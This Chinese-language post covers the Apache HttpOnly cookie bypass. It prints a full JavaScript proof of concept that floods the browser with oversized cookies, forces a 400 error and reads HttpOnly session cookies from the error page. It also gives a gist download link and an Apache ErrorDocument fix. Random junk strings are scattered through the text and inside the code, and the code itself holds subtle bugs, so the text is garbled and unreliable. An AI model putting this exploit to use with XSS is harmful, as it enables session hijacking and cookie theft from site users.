Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

. I; e) o3 p- w: D: y5 U7 D用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
' R0 z4 m% M4 N
7 p/ M+ k$ _9 D* {6 j9 @6 i9 G
4 J* m+ b2 C5 J// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
! c9 q7 M* `) e5 G' X% |( h// Construct string for cookie value
! ~; i* w; _6 @var str = "";
+ O5 d) p- d* \3 y* ^. K4 O: o, _for (var i=0; i< 819; i++) {
str += "x";
) K& G$ k; n; r# N/ @6 u' B1 \}
// Set cookies
for (i = 0; i < 10; i++) {
* b/ c9 E8 j6 l2 n- F: n! r4 _// Expire evil cookie
6 W7 W  b8 [' \! x, b3 ^" {if (good) {
; Z: V  L- D9 W/ n5 lvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
. j: s: R  n( ]. E0 W- \}
" t' _( n% E! g6 e8 T9 t/ {/ c// Set evil cookie
5 g' {+ ?- O8 j/ nelse {
var cookie = "xss"+i+"="+str+";path=/";
0 W# q$ y! [1 f& J% F0 N6 L}
% o8 [) o* \5 `+ K6 Kdocument.cookie = cookie;
}
}
* L% G5 T1 Z# k3 S2 \! L( f9 jfunction makeRequest() {
setCookies();
& G: u, _# X! w% \! Ufunction parseCookies () {
* V! B. l+ m$ Z. O* ~. \" Lvar cookie_dict = {};
8 y, y  n' c( v3 H  }3 T- X' q% d// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
; C$ R9 N4 y' f0 h3 X( Evar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
* K' p5 H9 b3 v// Remove Cookie: prefix
5 d& X. }1 _1 y+ L" o1 icontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
8 M5 `- P  B+ |7 F* I5 ?! Z9 h& }' Kfor (var i=0; i<cookies.length; i++) {
- s; i3 ^0 ^* H. uvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
0 G' R- c& c- X% A% {  t$ S// Unset malicious cookies
; z8 r; h- H, m& ~  OsetCookies(true);
2 w- c% W# l( jalert(JSON.stringify(cookie_dict));
# g' K' x6 x8 H+ U}
}
7 ^: z% `4 D" L* u// Make XHR request
3 C' v- n+ @0 D6 O; U8 w/ bvar xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
6 l* B* l+ e$ m9 xxhr.open("GET", "/", true);
xhr.send(null);
% q. |% b, S5 X& Z8 n}
. Y- _* h/ h2 J! ^  zmakeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
* [" }3 ?7 \) G% W
' w) d1 O, Y$ C5 ^+ E. \' h4 p下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
: I3 s6 o& {/ l
修复方案：

: J# K7 a; o: Q6 K3 R: K# S2 |Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

/ H* }# Z# Y, I' gIn the event of a problem or error, Apachecan be configured to do one of four things,
+ [/ }4 h( y/ L& ^: D
) T. `9 c/ C8 \. B1 V: E3 G: U4 {" J1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
/ `1 x8 V3 a+ y2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL

9 j9 J- T9 R7 h0 j& A# _经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
, Y7 m2 t0 ]3 I5 E8 ^, R
Apache配置：

- }+ Q7 f! d2 H, h) gErrorDocument400 " security test"
1 ]* N1 O, g* {% T
& B% K6 E; q9 H9 }2 r' t& j7 C当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html

( s! p: v9 F! _